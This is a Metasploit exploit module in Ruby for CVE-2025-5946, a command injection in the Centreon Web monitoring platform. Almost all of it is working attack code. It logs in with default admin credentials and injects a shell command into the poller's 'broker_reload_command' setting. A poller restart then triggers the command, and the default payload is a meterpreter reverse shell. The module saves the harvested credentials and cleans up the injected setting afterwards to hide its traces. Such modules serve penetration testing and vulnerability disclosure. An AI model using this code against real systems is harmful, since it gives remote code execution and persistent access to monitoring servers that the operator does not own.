Centreon authenticated command injection leading to RCE via broker engine "reload" parameter

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
        'Description' => %q{
          Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
          This module exploits an command injection vulnerability using the `broker engine reload` setting
          on the poller configuration page of the Centreon web application. Injecting a malcious payload
          at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
          You need have admin access at the Centreon Web application in order to execute this RCE.
          This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
          `24.10.13`, `24.04.18` and `23.10.28`.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
        ],
        'References' => [
          ['CVE', '2025-5946'],
          ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
          ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-09-24',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
      OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
      OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
    ])
  end

  # login at the Centreon web application
  # return true if login successful else false
  def centreon_login(name, pwd)
    # login with admin credentials
    # first try login logic in newer versions
    post_data = {
      login: name.to_s,
      password: pwd.to_s
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
      'data' => post_data.to_s
    })
    return true if res&.code == 200 && res.body.include?('redirect_uri')

    # try again using login logic for older versions
    # get centreon_token
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })

    # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
    if res&.code == 200 && res.body.include?('centreon_token')
      centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
      centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
    else
      vprint_status('No centreon_token found!')
      return false
    end

    # login with admin credentials and centreon_token
    if centreon_token
      vprint_status("centreon_token=#{centreon_token}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'useralias' => name.to_s,
          'password' => pwd.to_s,
          'submitLogin' => 'Connect',
          'centreon_token' => centreon_token.to_s
        }
      })
      return true if res&.code == 302
    else
      vprint_warning('Unable to process the centreon_token.')
    end
    false
  end

  # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
  def execute_payload(cmd, _opts = {})
    @clean_payload = true
    payload = ";#{cmd}"
    vprint_status("payload=#{payload}")
    # attach payload at the centreon broker engine "reload parameter
    fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

    # trigger execution by restarting the poller
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'poller' => 1,
        'mode' => 1
      }
    })
  end

  # attach payload at the centreon broker engine "reload" parameter and commit into the sql database
  def drop_rce_payload(payload)
    # get the poller configuration and centreon_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'p' => 60901,
        'o' => 'c',
        'server_id' => 1
      }
    })

    # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
    if res&.code == 200 && res.body.include?('centreon_token')
      centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
      centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
    else
      vprint_status('No centreon_token found!')
      return false
    end

    # update poller "centreon broker engine reload" setting with payload
    if centreon_token
      vprint_status("centreon_token=#{centreon_token}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'main.get.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'p' => 60901
        },
        'vars_post' => {
          'name' => 'Central',
          'ns_ip_address' => '127.0.0.1',
          'localhost[localhost]' => 1,
          'is_default[is_default]' => 1,
          'gorgone_communication_type[gorgone_communication_type]' => 1,
          'gorgone_port' => 5556,
          'engine_start_command' => 'service centengine start',
          'engine_stop_command' => 'service centengine stop',
          'engine_restart_command' => 'service centengine restart',
          'engine_reload_command' => 'service centengine reload',
          'nagios_bin' => '/usr/sbin/centengine',
          'nagiostats_bin' => '/usr/sbin/centenginestats',
          'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
          'broker_reload_command' => "service cbd reload#{payload}",
          'centreonbroker_cfg_path' => '/etc/centreon-broker',
          'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
          'centreonbroker_logs_path' => nil,
          'centreonconnector_path' => '/usr/lib64/centreon-connector',
          'init_script_centreontrapd' => 'centreontrapd',
          'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
          'ns_activate[ns_activate]' => 1,
          'submitC' => 'Save',
          'id' => 1,
          'o' => 'c',
          'centreon_token' => centreon_token.to_s
        }
      })
      if res&.code == 200 && res.body.include?('ajaxOption table')
        vprint_good('Poller setting "broker_reload_command" updated with payload.')
        return true
      end
      vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
    else
      vprint_warning('Unable to process the centreon_token.')
    end
    return false
  end

  # try to remove the payload from the poller settings to cover our tracks
  def cleanup
    super
    # check if payload should be cleaned
    if @clean_payload
      vprint_status('Cleaning up the mess...')
      if drop_rce_payload(nil)
        print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
      else
        print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
      end
    end
  end

  # get the Centreon version
  # return version if successful else nil
  def get_centreon_version
    # get version information use Web API v2.0
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
      'keep_cookies' => true
    })
    # for older versions try to scrape the version from the login web page
    unless res&.code == 200 && res.body.include?('web')
      res = send_request_cgi!({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true
      })
      return nil unless res&.code == 200

      build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
      return nil if build.nil?

      return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
    end
    res_json = res.get_json_document
    res_json['web']['version'] unless res_json.blank?
  end

  def check
    version = get_centreon_version
    return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

    case version.scan(/^\d+\.\d+/)[0]
    when '24.10'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
    when '24.04'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
    when '23.10'
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
    else
      return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
    end

    CheckCode::Safe("Centreon version #{version}")
  end

  def exploit
    # check if we can login at the Centreon Web application with the default admin credentials
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
    fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
    print_status('Succesfully authenticated at the Centreon Web application.')

    # storing credentials at the msf database
    print_status('Saving admin credentials at the msf database.')
    store_valid_credential(user: username, private: password)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_payload(payload.encoded)
  end
end